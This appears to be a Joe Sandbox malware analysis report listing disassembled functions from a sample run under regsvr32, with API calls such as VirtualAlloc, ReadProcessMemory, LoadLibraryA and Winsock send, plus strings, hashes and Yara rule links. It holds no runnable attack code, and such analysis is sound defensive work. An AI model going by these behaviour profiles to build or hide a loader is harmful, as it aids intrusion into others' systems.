Opcode Fuzzy Hash: 77970f782aadafbbaf7a9ed2403f98918c1b21df278712a9780f300333e0c0d1
Instruction Fuzzy Hash: 2EF028B594010DBBEB07EFA1DD10A9EBBEBAB40718F10101DE441E61C0DFB0CA84CB99

Function 6C87AFB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 6C87AFED
K32GetPerformanceInfo.KERNEL32(?,00000038), ref: 6C87B056

Strings

@, xrefs: 6C87AFE4

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: GlobalInfoMemoryPerformanceStatus
String ID: @
API String ID: 3163563144-2766056989
Opcode ID: 7864199870d36e84eef8a7e023d50f8d7d6f4a0782004374e4ac4b9c66ba5048
Instruction ID: 5bcb30800b913d9573e863f3a765955f063e5884798e6ee8c159856574a7f264
Opcode Fuzzy Hash: 7864199870d36e84eef8a7e023d50f8d7d6f4a0782004374e4ac4b9c66ba5048
Instruction Fuzzy Hash: 0F3184709087C496E725CF3DC9457EAB7F9BFD8218F00CA19F99492551F731E2C48A91

Function 04FA251A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 04FA25AC

Strings

.dll, xrefs: 04FA2588, 04FA258B
., xrefs: 04FA2545

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .$.dll
API String ID: 1029625771-979041800
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: ec48b12f64749fc6a2931e91a42d764f18a0edf7be85a22167afc88ea7edbb91
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: A1210AB5B002858FE721CFACC854A69BBA4BF05320F0A40ECD80187741D730F856C740

Function 6C863E20 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6C863ECA, 6C863F8A, 6C864139, 6C86423B

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs
API String ID: 0-3546870700
Opcode ID: baf40ef6b118ef34f56c91c3dd8fbcec6da7f93f92fc0308277f1fab9dfc8712
Instruction ID: e7d18b38140e32aede90c4e6441fc4c977318b95bb2e7911b7fa52127c5ebc39
Opcode Fuzzy Hash: baf40ef6b118ef34f56c91c3dd8fbcec6da7f93f92fc0308277f1fab9dfc8712
Instruction Fuzzy Hash: B7B1C471814B419BE320DF29C8417ABBBE4BFE6308F045B1CF9D02AA91FB75D1488792

Function 02633140 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0263314B
InterlockedExchange.KERNEL32(?,00000001), ref: 02633163
GetCurrentThreadId.KERNEL32 ref: 0263320F

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: 83e4014cfa7ad7b2381d2fe0fa786f5c63aef032fb419dfe99e26fb14bbb92d8
Instruction ID: 4eafb0d3498d5bd8a0996e7ffa5c98c8d16ea59c5d4d4666d6864160d6ff520d
Opcode Fuzzy Hash: 83e4014cfa7ad7b2381d2fe0fa786f5c63aef032fb419dfe99e26fb14bbb92d8
Instruction Fuzzy Hash: 163198742006069FC729DF69C880A6AB3E5FF44718B10C5ADE84ACB715D731F8A2CBD0

Function 026311B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 026311E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02631226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02631255

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 93a7094dbbc9a2666815eeb616505fc74dffee754e06fd3a85709a876b281e44
Instruction ID: 95c151505857ce5e62feaff4fa8295d88cb73a011c66880dd8932ad3940f6ba0
Opcode Fuzzy Hash: 93a7094dbbc9a2666815eeb616505fc74dffee754e06fd3a85709a876b281e44
Instruction Fuzzy Hash: 9021D131E00309AFDB149FAAD881B6EFBF5FF40B05F0089ADE849E2640E770A8508B44

Function 6C8FD485 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(6C982648,?,00000004,000000FF,6C8D1D45,6C9CA090,00000000), ref: 6C8FD4DF
GetLastError.KERNEL32 ref: 6C8FD4E6

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: e6a8cc46f310a3fcfde8221308d6e56336ffe8ed6d031ceb87d65fbf785b3056
Instruction ID: 0b274546d4dcf3ed044480558e060b1049cbde878795309d16fefe49aded1941
Opcode Fuzzy Hash: e6a8cc46f310a3fcfde8221308d6e56336ffe8ed6d031ceb87d65fbf785b3056
Instruction Fuzzy Hash: 5711D631B051064BDF15DE58C990AAE73B1EBA936CB30452AD321A7740EB35AD03C7A0

Function 02631100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0263112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0263115F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 02631192

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: a257a4dbe8fac76b9cba40db032e08c7b89d3fb39b604b3ae746ac96c4ace3ca
Instruction ID: 207c734f7ad00576de6f68291aea8228dfbc535ff1a64fc673675369ddb03650
Opcode Fuzzy Hash: a257a4dbe8fac76b9cba40db032e08c7b89d3fb39b604b3ae746ac96c4ace3ca
Instruction Fuzzy Hash: FB11D371E40309ABDB109FA9D882B6EFBF8EF04705F0088A9ED49E2240E770A850CB54

Function 026332E0 Relevance: 4.5, APIs: 3, Instructions: 32sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000258), ref: 026332FE
InterlockedExchange.KERNEL32(?,00000000), ref: 02633306
Sleep.KERNEL32(0000012C), ref: 0263332B

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Sleep$ExchangeInterlocked
String ID:
API String ID: 2054240878-0
Opcode ID: d13aaf779bc3753cb4f739e1e4d692975be49c946eccb48a8385588eaf4a9e4b
Instruction ID: 02ae340ee124fad813ca7f0cde9d0211515e605957041e7c5ec791e6fc1742ba
Opcode Fuzzy Hash: d13aaf779bc3753cb4f739e1e4d692975be49c946eccb48a8385588eaf4a9e4b
Instruction Fuzzy Hash: D6F089751443046BD7109BA9DC84E4AF3E8AF95730B104B09F261876D0CAB0F8418BA0

Function 02637335 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02637341

Part of subcall function 02639A33: __getptd_noexit.LIBCMT ref: 02639A36
Part of subcall function 02639A33: __amsg_exit.LIBCMT ref: 02639A43

__endthreadex.LIBCMT ref: 02637351

Part of subcall function 02637316: __getptd_noexit.LIBCMT ref: 0263731B
Part of subcall function 02637316: __freeptd.LIBCMT ref: 02637325
Part of subcall function 02637316: RtlExitUserThread.NTDLL(?,?,02637356,00000000), ref: 0263732E
Part of subcall function 02637316: __XcptFilter.LIBCMT ref: 02637362

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__endthreadex__freeptd__getptd
String ID:
API String ID: 4175385852-0
Opcode ID: 937dbff179be34bae52ada792bf179a26ba217d5648b197deb28cbeeee14325b
Instruction ID: 9fb88a14cdf8a75ee50ec98b47efe8903c1e3319009ee4f3b35ac3b572610f45
Opcode Fuzzy Hash: 937dbff179be34bae52ada792bf179a26ba217d5648b197deb28cbeeee14325b
Instruction Fuzzy Hash: 86E0ECB19456009FE71ABBA0C945E2DB776EF44702F20048DE1025B2A1CFB5AD40DE24

Function 6C8765B0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(00000000,0000001A,00000000,00000000,00000000), ref: 6C876611

Strings

ReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\process.rs, xrefs: 6C876668

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: MemoryProcessRead
String ID: ReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\process.rs
API String ID: 1726664587-1582062572
Opcode ID: 9cece254575f30fae6fc987ef480ba04a93322b5d3f78ae97c9424e564e97936
Instruction ID: f3134c44ea044d1ddd2bfec502269bdb208bac0889999b285dcc5c63cdcd5d7a
Opcode Fuzzy Hash: 9cece254575f30fae6fc987ef480ba04a93322b5d3f78ae97c9424e564e97936
Instruction Fuzzy Hash: 6181D2B1D0121A9BDB30CF68DA40AEEB7B5EF46348F544A29E814EB641E735DC158BB0

Function 6C85BA90 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,?,5F28726F), ref: 6C85BB5C
PdhAddEnglishCounterW.PDH(?,8B3B74C0,00000000,00000000), ref: 6C85BBCD

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CounterEnglishmemcmp
String ID:
API String ID: 2360070311-0
Opcode ID: 67848be46cf7d5e8833ab83a9947442005fcc3f1a27ef347bb242567cdfac6d5
Instruction ID: 3a52af871f12eb07975208100c15b8d8bc131888c56e2c3265248d3a6fc746ec
Opcode Fuzzy Hash: 67848be46cf7d5e8833ab83a9947442005fcc3f1a27ef347bb242567cdfac6d5
Instruction Fuzzy Hash: 6641F675904305AFD750CF28C981A6AB7E4FF94358F548A2CF8D4A7600E7B1E958CB92

Function 6C876440 Relevance: 3.1, APIs: 2, Instructions: 70COMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,6C876AD4), ref: 6C876450
LocalFree.KERNEL32(?,?,?), ref: 6C8764E9

Part of subcall function 6C8929C0: wcslen.MSVCRT ref: 6C8929CA

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ArgvCommandFreeLineLocalwcslen
String ID:
API String ID: 4161585929-0
Opcode ID: c61d42e80c05fda039f3c20d0b50298871c62309751adbdba232ee2b6d28516e
Instruction ID: 46a48db74050eca6f890aca1f7afc72ba3181068fff97dbac427818f25183438
Opcode Fuzzy Hash: c61d42e80c05fda039f3c20d0b50298871c62309751adbdba232ee2b6d28516e
Instruction Fuzzy Hash: DA2171B1C0161D9BDB20CFA4DA44AEFB7B8FF55308F104919D915B7640E735A945CBA0

Function 02633240 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 02633271
send.WS2_32(?,?,?,00000000), ref: 026332AE

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: b87a2e07e6ce37c19c25eb4d7218912955712a23445202ac4b844ff47e4b6c5a
Instruction ID: 05bf8d28bb5d048b224ca57824dadaafd1178e0253df1081237268cdce05172a
Opcode Fuzzy Hash: b87a2e07e6ce37c19c25eb4d7218912955712a23445202ac4b844ff47e4b6c5a
Instruction Fuzzy Hash: B311CE72B05344ABC721CA2EDCC8B5EB799FF81368F1041A5EA0DDB390D3B0D8619694

Function 026330C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 026330EA
timeGetTime.WINMM ref: 02633104

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: e20e5637971db6e233bbb313548ebfb89281e3181e49c211c0da8766e83b41b2
Instruction ID: ca2aac08a3dd66510b7223596d163235e7ab3f510df41125cd740397fcc56c08
Opcode Fuzzy Hash: e20e5637971db6e233bbb313548ebfb89281e3181e49c211c0da8766e83b41b2
Instruction Fuzzy Hash: CE01F731600605AFD711CF29D8C8BADB3B5FB5A305F544268D10087380C775A9E5C7D1

Function 026365D0 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,026361A0,00000000,02635B02), ref: 026365EB
_free.LIBCMT ref: 02636626

Part of subcall function 02631280: __CxxThrowException@8.LIBCMT ref: 02631290
Part of subcall function 02631280: RtlDeleteCriticalSection.NTDLL(00000000), ref: 026312A1

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: ba9de0f803039fb6546171f36f1ec25353882bec93c673ff973ea24862ab6e4e
Instruction ID: 7883b6fd2ccd3a3cbd71a09f7d760ae0f1a7ec3c5e57fe6e4d3dbfea638351f0
Opcode Fuzzy Hash: ba9de0f803039fb6546171f36f1ec25353882bec93c673ff973ea24862ab6e4e
Instruction Fuzzy Hash: A2017EF4A00B409FC3319F6A9844A47FAE8BF99710B104A1ED2DAC6B10D371A445CF55

Function 6C8F8220 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?), ref: 6C8F82BD

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 79f67fbf581d26b5c856eb764b0b206047fb219a4083b4bd0f68701742ed756c
Instruction ID: 5c6c93072bd1444da7bd766bbad36a3994232ac2c1e8faad0b26c0b404bcd52c
Opcode Fuzzy Hash: 79f67fbf581d26b5c856eb764b0b206047fb219a4083b4bd0f68701742ed756c
Instruction Fuzzy Hash: 30213AB5D0120A9BCB10CF99DD809EEBBB4BF49314F14051AE824B7741E374AD41CBA0

Function 04FA116C Relevance: 1.6, APIs: 1, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04FA11E6

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2923ffbbd088fcb14a2ba6a0f44f74b26ffba7a218e7267c1327e4f48e88d229
Instruction ID: 0c3a05b9bad52dabde4172f876a87a631dca8c641fc6648de85760e0450dbf21
Opcode Fuzzy Hash: 2923ffbbd088fcb14a2ba6a0f44f74b26ffba7a218e7267c1327e4f48e88d229
Instruction Fuzzy Hash: 89B1F7B5A00702EFDB319E64CD80BA7B7E8FF06314F160529E98986150E731F576CB61

Function 6C8F9AA0 Relevance: 1.5, APIs: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

SetThreadStackGuarantee.KERNEL32(00005000), ref: 6C8F9AB5

Part of subcall function 6C85AC40: HeapFree.KERNEL32(00000000,0000000C), ref: 6C8E9FA8

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: FreeGuaranteeHeapStackThread
String ID:
API String ID: 4181682901-0
Opcode ID: c1882879d45e5721ff1258e65a375cd6ff3463ac5965b4434c0236355a4321b4
Instruction ID: 7d1ecd1afbe8cd9b510bef9932b866afd62b03da0fbe0147031433289a3b5cf5
Opcode Fuzzy Hash: c1882879d45e5721ff1258e65a375cd6ff3463ac5965b4434c0236355a4321b4
Instruction Fuzzy Hash: ADF059B66001006BDB20EE94DC80EEB77ACEB44A24F044430FA089B301D779E915C7F1

Function 02644276 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 0264429E

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 25efe680c2c25d63650b4f79be30d06df1b16f3e3af0767d0a93a9cef7fa2fa7
Instruction ID: d84f60fdcabe7b50108e628c0899a89c8d974a4476e81b6129876b40680afad8
Opcode Fuzzy Hash: 25efe680c2c25d63650b4f79be30d06df1b16f3e3af0767d0a93a9cef7fa2fa7
Instruction Fuzzy Hash: 9FE0D874E4020CABD709EFA5E90768E77E6DB09710F40046DFA4687240DE716A288B95

Function 6C8D2A90 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,00000000), ref: 6C8D2AB0

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bb3ace0487df3395af6e142a50a24a2429191e2a758ef5998244877c02b75c0e
Instruction ID: 750695ebe2060543845e0666f87e80b0997452a19585fe25b5ff8181bdb9efd0
Opcode Fuzzy Hash: bb3ace0487df3395af6e142a50a24a2429191e2a758ef5998244877c02b75c0e
Instruction Fuzzy Hash: 8BF05E70E083498BDF20DF68C5806DABBF4EF1A214F25D529E888A7740F730A9D0C790

Function 02644280 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 0264429E

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 0429ca9435e17d53173b72cadac39724404bbaf536fd5cfdb57285a3ec162203
Instruction ID: 8599884b29642a7c660b2197ea9699e1dff8fa14854332b23c92cfbf714da880
Opcode Fuzzy Hash: 0429ca9435e17d53173b72cadac39724404bbaf536fd5cfdb57285a3ec162203
Instruction Fuzzy Hash: 1EE02674E4020CABD705EFA5E90764EB7F9DB09310F40046DF94687240DEB06A248B9A

